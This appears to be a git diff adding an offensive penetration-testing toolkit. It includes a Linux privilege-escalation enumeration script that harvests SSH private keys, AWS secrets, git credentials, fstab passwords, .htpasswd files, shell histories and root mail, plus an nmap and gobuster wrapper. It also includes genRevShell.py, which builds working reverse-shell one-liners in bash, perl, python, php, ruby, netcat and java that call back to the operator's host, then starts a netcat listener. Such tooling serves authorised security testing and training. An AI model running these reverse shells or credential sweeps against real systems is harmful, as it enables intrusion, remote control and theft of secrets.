+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$apacheusr" ]; then
+  mkdir --parents $format/etc-export/apache2/ 2>/dev/null
+  cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null
+fi
+
+#installed apache modules
+apachemodules=`apache2ctl -M 2>/dev/null; httpd -M 2>/dev/null`
+if [ "$apachemodules" ]; then
+  echo -e "\e[00;31m[-] Installed Apache modules:\e[00m\n$apachemodules" 
+  echo -e "\n"
+fi
+
+#htpasswd check
+htpasswd=`find / -name .htpasswd -print -exec cat {} \; 2>/dev/null`
+if [ "$htpasswd" ]; then
+    echo -e "\e[00;33m[-] htpasswd found - could contain passwords:\e[00m\n$htpasswd"
+    echo -e "\n"
+fi
+
+#anything in the default http home dirs (a thorough only check as output can be large)
+if [ "$thorough" = "1" ]; then
+  apachehomedirs=`ls -alhR /var/www/ 2>/dev/null; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache2/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null`
+  if [ "$apachehomedirs" ]; then
+    echo -e "\e[00;31m[-] www home dir contents:\e[00m\n$apachehomedirs" 
+    echo -e "\n"
+  fi
+fi
+
+}
+
+interesting_files()
+{
+echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" 
+
+#checks to see if various files are installed
+echo -e "\e[00;31m[-] Useful file locations:\e[00m" ; which nc 2>/dev/null ; which netcat 2>/dev/null ; which wget 2>/dev/null ; which nmap 2>/dev/null ; which gcc 2>/dev/null; which curl 2>/dev/null 
+echo -e "\n" 
+
+#limited search for installed compilers
+compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null`
+if [ "$compiler" ]; then
+  echo -e "\e[00;31m[-] Installed compilers:\e[00m\n$compiler" 
+  echo -e "\n"
+fi
+
+#manual check - lists out sensitive files, can we read/modify etc.
+echo -e "\e[00;31m[-] Can we read/write sensitive files:\e[00m" ; ls -la /etc/passwd 2>/dev/null ; ls -la /etc/group 2>/dev/null ; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null ; ls -la /etc/master.passwd 2>/dev/null 
+echo -e "\n" 
+
+#search for suid files
+findsuid=`find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;`
+if [ "$findsuid" ]; then
+  echo -e "\e[00;31m[-] SUID files:\e[00m\n$findsuid" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$findsuid" ]; then
+  mkdir $format/suid-files/ 2>/dev/null
+  for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null
+fi
+
+#list of 'interesting' suid files - feel free to make additions
+intsuid=`find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null`
+if [ "$intsuid" ]; then
+  echo -e "\e[00;33m[+] Possibly interesting SUID files:\e[00m\n$intsuid" 
+  echo -e "\n"
+fi
+
+#lists word-writable suid files
+wwsuid=`find / -perm -4002 -type f -exec ls -la {} 2>/dev/null \;`
+if [ "$wwsuid" ]; then
+  echo -e "\e[00;33m[+] World-writable SUID files:\e[00m\n$wwsuid" 
+  echo -e "\n"
+fi
+
+#lists world-writable suid files owned by root
+wwsuidrt=`find / -uid 0 -perm -4002 -type f -exec ls -la {} 2>/dev/null \;`
+if [ "$wwsuidrt" ]; then
+  echo -e "\e[00;33m[+] World-writable SUID files owned by root:\e[00m\n$wwsuidrt" 
+  echo -e "\n"
+fi
+
+#search for sgid files
+findsgid=`find / -perm -2000 -type f -exec ls -la {} 2>/dev/null \;`
+if [ "$findsgid" ]; then
+  echo -e "\e[00;31m[-] SGID files:\e[00m\n$findsgid" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$findsgid" ]; then
+  mkdir $format/sgid-files/ 2>/dev/null
+  for i in $findsgid; do cp $i $format/sgid-files/; done 2>/dev/null
+fi
+
+#list of 'interesting' sgid files
+intsgid=`find / -perm -2000 -type f  -exec ls -la {} \; 2>/dev/null | grep -w $binarylist 2>/dev/null`
+if [ "$intsgid" ]; then
+  echo -e "\e[00;33m[+] Possibly interesting SGID files:\e[00m\n$intsgid" 
+  echo -e "\n"
+fi
+
+#lists world-writable sgid files
+wwsgid=`find / -perm -2002 -type f -exec ls -la {} 2>/dev/null \;`
+if [ "$wwsgid" ]; then
+  echo -e "\e[00;33m[+] World-writable SGID files:\e[00m\n$wwsgid" 
+  echo -e "\n"
+fi
+
+#lists world-writable sgid files owned by root
+wwsgidrt=`find / -uid 0 -perm -2002 -type f -exec ls -la {} 2>/dev/null \;`
+if [ "$wwsgidrt" ]; then
+  echo -e "\e[00;33m[+] World-writable SGID files owned by root:\e[00m\n$wwsgidrt" 
+  echo -e "\n"
+fi
+
+#list all files with POSIX capabilities set along with there capabilities
+fileswithcaps=`getcap -r / 2>/dev/null || /sbin/getcap -r / 2>/dev/null`
+if [ "$fileswithcaps" ]; then
+  echo -e "\e[00;31m[+] Files with POSIX capabilities set:\e[00m\n$fileswithcaps"
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$fileswithcaps" ]; then
+  mkdir $format/files_with_capabilities/ 2>/dev/null
+  for i in $fileswithcaps; do cp $i $format/files_with_capabilities/; done 2>/dev/null
+fi
+
+#searches /etc/security/capability.conf for users associated capapilies
+userswithcaps=`grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null`
+if [ "$userswithcaps" ]; then
+  echo -e "\e[00;33m[+] Users with specific POSIX capabilities:\e[00m\n$userswithcaps"
+  echo -e "\n"
+fi
+
+if [ "$userswithcaps" ] ; then
+#matches the capabilities found associated with users with the current user
+matchedcaps=`echo -e "$userswithcaps" | grep \`whoami\` | awk '{print $1}' 2>/dev/null`
+	if [ "$matchedcaps" ]; then
+		echo -e "\e[00;33m[+] Capabilities associated with the current user:\e[00m\n$matchedcaps"
+		echo -e "\n"
+		#matches the files with capapbilities with capabilities associated with the current user
+		matchedfiles=`echo -e "$matchedcaps" | while read -r cap ; do echo -e "$fileswithcaps" | grep "$cap" ; done 2>/dev/null`
+		if [ "$matchedfiles" ]; then
+			echo -e "\e[00;33m[+] Files with the same capabilities associated with the current user (You may want to try abusing those capabilties):\e[00m\n$matchedfiles"
+			echo -e "\n"
+			#lists the permissions of the files having the same capabilies associated with the current user
+			matchedfilesperms=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do ls -la $f ;done 2>/dev/null`
+			echo -e "\e[00;33m[+] Permissions of files with the same capabilities associated with the current user:\e[00m\n$matchedfilesperms"
+			echo -e "\n"
+			if [ "$matchedfilesperms" ]; then
+				#checks if any of the files with same capabilities associated with the current user is writable
+				writablematchedfiles=`echo -e "$matchedfiles" | awk '{print $1}' | while read -r f; do find $f -writable -exec ls -la {} + ;done 2>/dev/null`
+				if [ "$writablematchedfiles" ]; then
+					echo -e "\e[00;33m[+] User/Group writable files with the same capabilities associated with the current user:\e[00m\n$writablematchedfiles"
+					echo -e "\n"
+				fi
+			fi
+		fi
+	fi
+fi
+
+#look for private keys - thanks djhohnstein
+if [ "$thorough" = "1" ]; then
+privatekeyfiles=`grep -rl "PRIVATE KEY-----" /home 2>/dev/null`
+	if [ "$privatekeyfiles" ]; then
+  		echo -e "\e[00;33m[+] Private SSH keys found!:\e[00m\n$privatekeyfiles"
+  		echo -e "\n"
+	fi
+fi
+
+#look for AWS keys - thanks djhohnstein
+if [ "$thorough" = "1" ]; then
+awskeyfiles=`grep -rli "aws_secret_access_key" /home 2>/dev/null`
+	if [ "$awskeyfiles" ]; then
+  		echo -e "\e[00;33m[+] AWS secret keys found!:\e[00m\n$awskeyfiles"
+  		echo -e "\n"
+	fi
+fi
+
+#look for git credential files - thanks djhohnstein
+if [ "$thorough" = "1" ]; then
+gitcredfiles=`find / -name ".git-credentials" 2>/dev/null`
+	if [ "$gitcredfiles" ]; then
+  		echo -e "\e[00;33m[+] Git credentials saved on the machine!:\e[00m\n$gitcredfiles"
+  		echo -e "\n"
+	fi
+fi
+
+#list all world-writable files excluding /proc and /sys
+if [ "$thorough" = "1" ]; then
+wwfiles=`find / ! -path "*/proc/*" ! -path "/sys/*" -perm -2 -type f -exec ls -la {} 2>/dev/null \;`
+	if [ "$wwfiles" ]; then
+		echo -e "\e[00;31m[-] World-writable files (excluding /proc and /sys):\e[00m\n$wwfiles" 
+		echo -e "\n"
+	fi
+fi
+
+if [ "$thorough" = "1" ]; then
+	if [ "$export" ] && [ "$wwfiles" ]; then
+		mkdir $format/ww-files/ 2>/dev/null
+		for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null
+	fi
+fi
+
+#are any .plan files accessible in /home (could contain useful information)
+usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
+if [ "$usrplan" ]; then
+  echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$usrplan" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$usrplan" ]; then
+  mkdir $format/plan_files/ 2>/dev/null
+  for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null
+fi
+
+bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
+if [ "$bsdusrplan" ]; then
+  echo -e "\e[00;31m[-] Plan file permissions and contents:\e[00m\n$bsdusrplan" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$bsdusrplan" ]; then
+  mkdir $format/plan_files/ 2>/dev/null
+  for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null
+fi
+
+#are there any .rhosts files accessible - these may allow us to login as another user etc.
+rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
+if [ "$rhostsusr" ]; then
+  echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$rhostsusr" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$rhostsusr" ]; then
+  mkdir $format/rhosts/ 2>/dev/null
+  for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null
+fi
+
+bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
+if [ "$bsdrhostsusr" ]; then
+  echo -e "\e[00;33m[+] rhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$bsdrhostsusr" ]; then
+  mkdir $format/rhosts 2>/dev/null
+  for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null
+fi
+
+rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;`
+if [ "$rhostssys" ]; then
+  echo -e "\e[00;33m[+] Hosts.equiv file and contents: \e[00m\n$rhostssys" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$rhostssys" ]; then
+  mkdir $format/rhosts/ 2>/dev/null
+  for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null
+fi
+
+#list nfs shares/permisisons etc.
+nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null`
+if [ "$nfsexports" ]; then
+  echo -e "\e[00;31m[-] NFS config details: \e[00m\n$nfsexports" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$nfsexports" ]; then
+  mkdir $format/etc-export/ 2>/dev/null
+  cp /etc/exports $format/etc-export/exports 2>/dev/null
+fi
+
+if [ "$thorough" = "1" ]; then
+  #phackt
+  #displaying /etc/fstab
+  fstab=`cat /etc/fstab 2>/dev/null`
+  if [ "$fstab" ]; then
+    echo -e "\e[00;31m[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems\e[00m"
+    echo -e "$fstab"
+    echo -e "\n"
+  fi
+fi
+
+#looking for credentials in /etc/fstab
+fstab=`grep username /etc/fstab 2>/dev/null |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo username: 2>/dev/null; grep password /etc/fstab 2>/dev/null |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo password: 2>/dev/null; grep domain /etc/fstab 2>/dev/null |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo domain: 2>/dev/null`
+if [ "$fstab" ]; then
+  echo -e "\e[00;33m[+] Looks like there are credentials in /etc/fstab!\e[00m\n$fstab"
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$fstab" ]; then
+  mkdir $format/etc-exports/ 2>/dev/null
+  cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null
+fi
+
+fstabcred=`grep cred /etc/fstab 2>/dev/null |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1' 2>/dev/null | xargs -I{} sh -c 'ls -la {}; cat {}' 2>/dev/null`
+if [ "$fstabcred" ]; then
+    echo -e "\e[00;33m[+] /etc/fstab contains a credentials file!\e[00m\n$fstabcred" 
+    echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$fstabcred" ]; then
+  mkdir $format/etc-exports/ 2>/dev/null
+  cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null
+fi
+
+#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located
+if [ "$keyword" = "" ]; then
+  echo -e "[-] Can't search *.conf files as no keyword was entered\n" 
+  else
+    confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
+    if [ "$confkey" ]; then
+      echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" 
+      echo -e "\n" 
+     else 
+	echo -e "\e[00;31m[-] Find keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" 
+	echo -e "'$keyword' not found in any .conf files" 
+	echo -e "\n" 
+    fi
+fi
+
+if [ "$keyword" = "" ]; then
+  :
+  else
+    if [ "$export" ] && [ "$confkey" ]; then
+	  confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
+      mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null
+      for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null
+  fi
+fi
+
+#use supplied keyword and cat *.php files for potential matches - output will show line number within relevant file path where a match has been located
+if [ "$keyword" = "" ]; then
+  echo -e "[-] Can't search *.php files as no keyword was entered\n" 
+  else
+    phpkey=`find / -maxdepth 10 -name *.php -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
+    if [ "$phpkey" ]; then
+      echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels - output format filepath:identified line number where keyword appears):\e[00m\n$phpkey" 
+      echo -e "\n" 
+     else 
+  echo -e "\e[00;31m[-] Find keyword ($keyword) in .php files (recursive 10 levels):\e[00m" 
+  echo -e "'$keyword' not found in any .php files" 
+  echo -e "\n" 
+    fi
+fi
+
+if [ "$keyword" = "" ]; then
+  :
+  else
+    if [ "$export" ] && [ "$phpkey" ]; then
+    phpkeyfile=`find / -maxdepth 10 -name *.php -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
+      mkdir --parents $format/keyword_file_matches/php_files/ 2>/dev/null
+      for i in $phpkeyfile; do cp --parents $i $format/keyword_file_matches/php_files/ ; done 2>/dev/null
+  fi
+fi
+
+#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located
+if [ "$keyword" = "" ];then
+  echo -e "[-] Can't search *.log files as no keyword was entered\n" 
+  else
+    logkey=`find / -maxdepth 4 -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
+    if [ "$logkey" ]; then
+      echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$logkey" 
+      echo -e "\n" 
+     else 
+	echo -e "\e[00;31m[-] Find keyword ($keyword) in .log files (recursive 4 levels):\e[00m" 
+	echo -e "'$keyword' not found in any .log files"
+	echo -e "\n" 
+    fi
+fi
+
+if [ "$keyword" = "" ];then
+  :
+  else
+    if [ "$export" ] && [ "$logkey" ]; then
+      logkeyfile=`find / -maxdepth 4 -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
+	  mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null
+      for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null
+  fi
+fi
+
+#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located
+if [ "$keyword" = "" ];then
+  echo -e "[-] Can't search *.ini files as no keyword was entered\n" 
+  else
+    inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null`
+    if [ "$inikey" ]; then
+      echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" 
+      echo -e "\n" 
+     else 
+	echo -e "\e[00;31m[-] Find keyword ($keyword) in .ini files (recursive 4 levels):\e[00m" 
+	echo -e "'$keyword' not found in any .ini files" 
+	echo -e "\n"
+    fi
+fi
+
+if [ "$keyword" = "" ];then
+  :
+  else
+    if [ "$export" ] && [ "$inikey" ]; then
+	  inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null`
+      mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null
+      for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null
+  fi
+fi
+
+#quick extract of .conf files from /etc - only 1 level
+allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null`
+if [ "$allconf" ]; then
+  echo -e "\e[00;31m[-] All *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$allconf" ]; then
+  mkdir $format/conf-files/ 2>/dev/null
+  for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null
+fi
+
+#extract any user history files that are accessible
+usrhist=`ls -la ~/.*_history 2>/dev/null`
+if [ "$usrhist" ]; then
+  echo -e "\e[00;31m[-] Current user's history files:\e[00m\n$usrhist" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$usrhist" ]; then
+  mkdir $format/history_files/ 2>/dev/null
+  for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null
+fi
+
+#can we read roots *_history files - could be passwords stored etc.
+roothist=`ls -la /root/.*_history 2>/dev/null`
+if [ "$roothist" ]; then
+  echo -e "\e[00;33m[+] Root's history files are accessible!\e[00m\n$roothist" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$roothist" ]; then
+  mkdir $format/history_files/ 2>/dev/null
+  cp $roothist $format/history_files/ 2>/dev/null
+fi
+
+#all accessible .bash_history files in /home
+checkbashhist=`find /home -name .bash_history -print -exec cat {} 2>/dev/null \;`
+if [ "$checkbashhist" ]; then
+  echo -e "\e[00;31m[-] Location and contents (if accessible) of .bash_history file(s):\e[00m\n$checkbashhist"
+  echo -e "\n"
+fi
+
+#is there any mail accessible
+readmail=`ls -la /var/mail 2>/dev/null`
+if [ "$readmail" ]; then
+  echo -e "\e[00;31m[-] Any interesting mail in /var/mail:\e[00m\n$readmail" 
+  echo -e "\n"
+fi
+
+#can we read roots mail
+readmailroot=`head /var/mail/root 2>/dev/null`
+if [ "$readmailroot" ]; then
+  echo -e "\e[00;33m[+] We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$readmailroot" ]; then
+  mkdir $format/mail-from-root/ 2>/dev/null
+  cp $readmailroot $format/mail-from-root/ 2>/dev/null
+fi
+}
+
+docker_checks()
+{
+
+#specific checks - check to see if we're in a docker container
+dockercontainer=` grep -i docker /proc/self/cgroup  2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null`
+if [ "$dockercontainer" ]; then
+  echo -e "\e[00;33m[+] Looks like we're in a Docker container:\e[00m\n$dockercontainer" 
+  echo -e "\n"
+fi
+
+#specific checks - check to see if we're a docker host
+dockerhost=`docker --version 2>/dev/null; docker ps -a 2>/dev/null`
+if [ "$dockerhost" ]; then
+  echo -e "\e[00;33m[+] Looks like we're hosting Docker:\e[00m\n$dockerhost" 
+  echo -e "\n"
+fi
+
+#specific checks - are we a member of the docker group
+dockergrp=`id | grep -i docker 2>/dev/null`
+if [ "$dockergrp" ]; then
+  echo -e "\e[00;33m[+] We're a member of the (docker) group - could possibly misuse these rights!\e[00m\n$dockergrp" 
+  echo -e "\n"
+fi
+
+#specific checks - are there any docker files present
+dockerfiles=`find / -name Dockerfile -exec ls -l {} 2>/dev/null \;`
+if [ "$dockerfiles" ]; then
+  echo -e "\e[00;31m[-] Anything juicy in the Dockerfile:\e[00m\n$dockerfiles" 
+  echo -e "\n"
+fi
+
+#specific checks - are there any docker files present
+dockeryml=`find / -name docker-compose.yml -exec ls -l {} 2>/dev/null \;`
+if [ "$dockeryml" ]; then
+  echo -e "\e[00;31m[-] Anything juicy in docker-compose.yml:\e[00m\n$dockeryml" 
+  echo -e "\n"
+fi
+}
+
+lxc_container_checks()
+{
+
+#specific checks - are we in an lxd/lxc container
+lxccontainer=`grep -qa container=lxc /proc/1/environ 2>/dev/null`
+if [ "$lxccontainer" ]; then
+  echo -e "\e[00;33m[+] Looks like we're in a lxc container:\e[00m\n$lxccontainer"
+  echo -e "\n"
+fi
+
+#specific checks - are we a member of the lxd group
+lxdgroup=`id | grep -i lxd 2>/dev/null`
+if [ "$lxdgroup" ]; then
+  echo -e "\e[00;33m[+] We're a member of the (lxd) group - could possibly misuse these rights!\e[00m\n$lxdgroup"
+  echo -e "\n"
+fi
+}
+
+footer()
+{
+echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" 
+}
+
+call_each()
+{
+  header
+  debug_info
+  system_info
+  user_info
+  environmental_info
+  job_info
+  networking_info
+  services_info
+  software_configs
+  interesting_files
+  docker_checks
+  lxc_container_checks
+  footer
+}
+
+while getopts "h:k:r:e:st" option; do
+ case "${option}" in
+    k) keyword=${OPTARG};;
+    r) report=${OPTARG}"-"`date +"%d-%m-%y"`;;
+    e) export=${OPTARG};;
+    s) sudopass=1;;
+    t) thorough=1;;
+    h) usage; exit;;
+    *) usage; exit;;
+ esac
+done
+
+call_each | tee -a $report 2> /dev/null
+#EndOfScript

+ 25 - 0
first_scan.sh

@@ -0,0 +1,25 @@
+#!/usr/bin/bash
+
+if [ $# -lt 1 ]; then
+  echo "Invalid usage: $0 <host>"
+  exit
+fi
+
+if [ "$EUID" -ne 0 ]; then
+  echo "[-] Script requires root permissions (e.g. nmap scan)"
+  exit
+fi
+
+IP_ADDRESS=$1
+
+echo "[+] Checking online status…"
+ping -c1 -W1 -q "${IP_ADDRESS}" &>/dev/null
+status=$(echo $?)
+
+if ! [[ $status == 0 ]] ; then
+  echo "[-] Target not reachable"
+  exit
+fi
+
+echo "[+] Scanning for open ports…"
+nmap -A "${IP_ADDRESS}" -p 1-65535 -T 5 --stats-every 30s

+ 61 - 0
genRevShell.py

@@ -0,0 +1,61 @@
+#!/usr/bin/python
+
+import socket
+import sys
+import subprocess
+import netifaces as ni
+
+def getLocalAddress():
+    interface = "tun0"
+    if not interface in ni.interfaces():
+        interface = ni.interfaces()[0]
+
+    addresses = ni.ifaddresses(interface)
+    address = addresses[next(iter(addresses))][0]["addr"]
+    return address
+
+def generatePayload(type, local_address, port):
+
+    if type == "bash":
+        return "bash -i >& /dev/tcp/%s/%d 0>&1" % (local_address, port)
+    elif type == "perl":
+        return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" % (local_address, port)
+    elif type == "python" or type == "python2" or type == "python3":
+        binary = type
+        return "%s -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" % (binary, local_address, port)
+    elif type == "php":
+        return "php -r '$sock=fsockopen(\"%s\",%d);exec(\"/bin/bash -i <&3 >&3 2>&3\");'" % (local_address, port)
+    elif type == "ruby":
+        return "ruby -rsocket -e'f=TCPSocket.open(\"%s\",%d).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'" % (local_address, port)
+    elif type == "netcat":
+        return "nc -e /bin/bash %s %d\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc %s %d >/tmp/f" % (local_address, port, local_address, port)
+    elif type == "java":
+        return "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/%s/%d;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" % (local_address, port)
+    elif type == "xterm":
+        return "xterm -display %s:1" % (local_address)
+
+if __name__ == "__main__":
+
+    if len(sys.argv) < 3:
+        print("Usage: %s <type> <port>" % sys.argv[0])
+        exit(1)
+
+    listen_port = int(sys.argv[2])
+    payload_type = sys.argv[1].lower()
+
+    local_address = getLocalAddress()
+    payload = generatePayload(payload_type, local_address, listen_port)
+
+    if payload is None:
+        print("Unknown payload type: %s" % payload_type)
+        print("Supported types: bash, perl, python[2|3], php, ruby, netcat, java, xterm")
+        exit(1)
+
+    print("---PAYLOAD---\n%s\n---PAYLOAD---\n" % payload)
+
+    if payload_type == "xterm":
+        print("You need to run the following commands (not tested):")
+        print("xhost +targetip")
+        print("Xnest :1")
+    else:
+        subprocess.call(["nc", "-lvvp", str(listen_port)])

+ 16 - 0
gobuster.sh

@@ -0,0 +1,16 @@
+#!/usr/bin/bash
+
+if [ $# -lt 1 ]; then
+  echo "Invalid usage: $0 <host>"
+  exit
+fi
+
+HOST=$1
+EXTENSIONS=""
+
+if [ $# -gt 1 ]; then
+  EXTENSIONS="-x ${2}"
+fi
+
+gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" \
+  -k "${EXTENSIONS}" -b "403,404"

File diff suppressed because it is too large
+ 24 - 0
linpeas.sh


+ 1109 - 0
lse.sh

@@ -0,0 +1,1109 @@
+#!/bin/bash
+# vim: set ts=2 sw=2 sts=2 et:
+
+# Author: Diego Blanco <diego.blanco@treitos.com>
+# GitHub: https://github.com/diego-treitos/linux-smart-enumeration
+# 
+lse_version="1.11"
+
+#( Colors
+#
+# fg
+red='\e[31m'
+lred='\e[91m'
+green='\e[32m'
+lgreen='\e[92m'
+yellow='\e[33m'
+lyellow='\e[93m'
+blue='\e[34m'
+lblue='\e[94m'
+magenta='\e[35m'
+lmagenta='\e[95m'
+cyan='\e[36m'
+lcyan='\e[96m'
+grey='\e[90m'
+lgrey='\e[37m'
+white='\e[97m'
+black='\e[30m'
+#
+# bg
+b_red='\e[41m'
+b_lred='\e[101m'
+b_green='\e[42m'
+b_lgreen='\e[102m'
+b_yellow='\e[43m'
+b_lyellow='\e[103m'
+b_blue='\e[44m'
+b_lblue='\e[104m'
+b_magenta='\e[45m'
+b_lmagenta='\e[105m'
+b_cyan='\e[46m'
+b_lcyan='\e[106m'
+b_grey='\e[100m'
+b_lgrey='\e[47m'
+b_white='\e[107m'
+b_black='\e[40m'
+#
+# special
+reset='\e[0;0m'
+bold='\e[01m'
+italic='\e[03m'
+underline='\e[04m'
+inverse='\e[07m'
+conceil='\e[08m'
+crossedout='\e[09m'
+bold_off='\e[22m'
+italic_off='\e[23m'
+underline_off='\e[24m'
+inverse_off='\e[27m'
+conceil_off='\e[28m'
+crossedout_off='\e[29m'
+#)
+
+#( Globals
+#
+# user
+lse_user_id="$UID"
+[ -z "$lse_user_id" ] && lse_user_id="`id -u`"
+lse_user="$USER"
+[ -z "$lse_user" ] && lse_user="`id -nu`"
+lse_pass=""
+lse_home="$HOME"
+[ -z "$lse_home" ] && lse_home="`(grep -E "^$lse_user:" /etc/passwd | cut -d: -f6)2>/dev/null`"
+
+# system
+lse_arch="`uname -m`"
+lse_linux="`uname -r`"
+lse_hostname="`hostname`"
+lse_distro=`command -v lsb_release >/dev/null 2>&1 && lsb_release -d | sed 's/Description:\s*//' 2>/dev/null`
+[ -z "$lse_distro" ] && lse_distro="`(source /etc/os-release && echo "$PRETTY_NAME")2>/dev/null`"
+
+# lse
+lse_passed_tests=""
+lse_executed_tests=""
+lse_DEBUG=false
+
+# internal data
+lse_common_setuid=(
+  '/bin/fusermount'
+  '/bin/mount'
+  '/bin/ntfs-3g'
+  '/bin/ping'
+  '/bin/ping6'
+  '/bin/su'
+  '/bin/umount'
+  '/lib64/dbus-1/dbus-daemon-launch-helper'
+  '/sbin/mount.ecryptfs_private'
+  '/sbin/mount.nfs'
+  '/sbin/pam_timestamp_check'
+  '/sbin/pccardctl'
+  '/sbin/unix2_chkpwd'
+  '/sbin/unix_chkpwd'
+  '/usr/bin/Xorg'
+  '/usr/bin/arping'
+  '/usr/bin/at'
+  '/usr/bin/beep'
+  '/usr/bin/chage'
+  '/usr/bin/chfn'
+  '/usr/bin/chsh'
+  '/usr/bin/crontab'
+  '/usr/bin/expiry'
+  '/usr/bin/firejail'
+  '/usr/bin/fusermount'
